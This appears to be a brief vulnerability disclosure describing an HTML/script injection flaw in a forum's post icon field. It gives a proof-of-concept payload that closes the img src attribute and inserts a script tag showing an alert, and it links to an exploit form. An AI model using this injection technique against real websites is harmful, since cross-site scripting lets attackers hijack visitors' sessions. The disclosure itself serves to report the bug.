Any user can inject html code when create a new post.
The bug are in the post icon:
<img src="icon.gif" etc.>
If you create a personalized form with this code:
icon.gif"><script>alert('bug');<script ><any
tag="
the final code of the post icon is:
<img
src="icon.gif"><script>alert('bug');<s cript><any
tag="" etc.>

The exploit form is here:
http://members.fortunecity.it/lethal...gs/splatt.html

by Lethal Lab (Lethalman)